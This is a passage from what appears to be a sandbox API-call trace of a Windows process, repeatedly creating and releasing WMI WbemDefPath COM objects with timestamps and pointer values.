ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35fc8) returned 0x0 [0127.073] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35fc8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.073] WbemDefPath:IUnknown:Release (This=0x4f35fc8) returned 0x3 [0127.073] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.073] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da900, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.073] WbemDefPath:IUnknown:Release (This=0x4da900) returned 0x2 [0127.073] WbemDefPath:IUnknown:Release (This=0x4da900) returned 0x1 [0127.073] SetEvent (hEvent=0x4f4) returned 1 [0127.079] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f4af20) returned 0x0 [0127.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4af20, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.079] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f4af20, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da9e0) returned 0x0 [0127.079] WbemDefPath:IUnknown:Release (This=0x4f4af20) returned 0x0 [0127.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da9e0) returned 0x0 [0127.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.079] WbemDefPath:IUnknown:AddRef (This=0x4da9e0) returned 0x3 [0127.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f4af30) returned 0x0 [0127.080] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f4af30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.080] WbemDefPath:IUnknown:Release (This=0x4f4af30) returned 0x3 [0127.080] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.080] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.080] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x2 [0127.080] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x1 [0127.080] SetEvent (hEvent=0x4f8) returned 1 [0127.084] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f4af20) returned 0x0 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4af20, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.085] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f4af20, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4daa50) returned 0x0 [0127.085] WbemDefPath:IUnknown:Release (This=0x4f4af20) returned 0x0 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daa50, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4daa50) returned 0x0 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daa50, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.085] WbemDefPath:IUnknown:AddRef (This=0x4daa50) returned 0x3 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daa50, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daa50, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daa50, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f4af40) returned 0x0 [0127.085] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f4af40, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.085] WbemDefPath:IUnknown:Release (This=0x4f4af40) returned 0x3 [0127.085] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.085] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daa50, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.085] WbemDefPath:IUnknown:Release (This=0x4daa50) returned 0x2 [0127.085] WbemDefPath:IUnknown:Release (This=0x4daa50) returned 0x1 [0127.085] SetEvent (hEvent=0x4fc) returned 1 [0127.091] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f4af20) returned 0x0 [0127.091] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4af20, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.091] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f4af20, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4daac0) returned 0x0 [0127.091] WbemDefPath:IUnknown:Release (This=0x4f4af20) returned 0x0 [0127.091] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daac0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4daac0) returned 0x0 [0127.091] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daac0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.091] WbemDefPath:IUnknown:AddRef (This=0x4daac0) returned 0x3 [0127.091] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daac0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daac0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daac0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f4af50) returned 0x0 [0127.092] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f4af50, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.092] WbemDefPath:IUnknown:Release (This=0x4f4af50) returned 0x3 [0127.092] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.092] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daac0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.092] WbemDefPath:IUnknown:Release (This=0x4daac0) returned 0x2 [0127.092] WbemDefPath:IUnknown:Release (This=0x4daac0) returned 0x1 [0127.092] SetEvent (hEvent=0x500) returned 1 [0138.538] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35d78) returned 0x0 [0138.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35d78, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0138.539] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35d78, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da9e0) returned 0x0 [0138.539] WbemDefPath:IUnknown:Release (This=0x4f35d78) returned 0x0 [0138.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da9e0) returned 0x0 [0138.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0138.539] WbemDefPath:IUnknown:AddRef (This=0x4da9e0) returned 0x3 [0138.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0138.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0138.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35e88) returned 0x0 [0138.539] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35e88, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.539] WbemDefPath:IUnknown:Release (This=0x4f35e88) returned 0x3 [0138.539] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0138.539] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0138.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0138.540] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x2 [0138.540] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x1 [0138.540] SetEvent (hEvent=0x56c) returned 1 [0138.558] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f4b1e0) returned 0x0 [0138.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4b1e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0138.558] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f4b1e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da890) returned 0x0 [0138.558] WbemDefPath:IUnknown:Release (This=0x4f4b1e0) returned 0x0 [0138.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da890) returned 0x0 [0138.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0138.559] WbemDefPath:IUnknown:AddRef (This=0x4da890) returned 0x3 [0138.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0138.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0138.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f4b1f0) returned 0x0 [0138.559] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f4b1f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.559] WbemDefPath:IUnknown:Release (This=0x4f4b1f0) returned 0x3 [0138.559] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0138.559] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0138.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0138.559] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x2 [0138.559] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x1 [0138.559] SetEvent (hEvent=0x454) returned 1 [0138.561] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f4b1e0) returned 0x0 [0138.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4b1e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0138.561] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f4b1e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da820) returned 0x0 [0138.561] WbemDefPath:IUnknown:Release (This=0x4f4b1e0) returned 0x0 [0138.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da820) returned 0x0 [0138.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0138.562] WbemDefPath:IUnknown:AddRef (This=0x4da820) returned 0x3 [0138.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0138.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 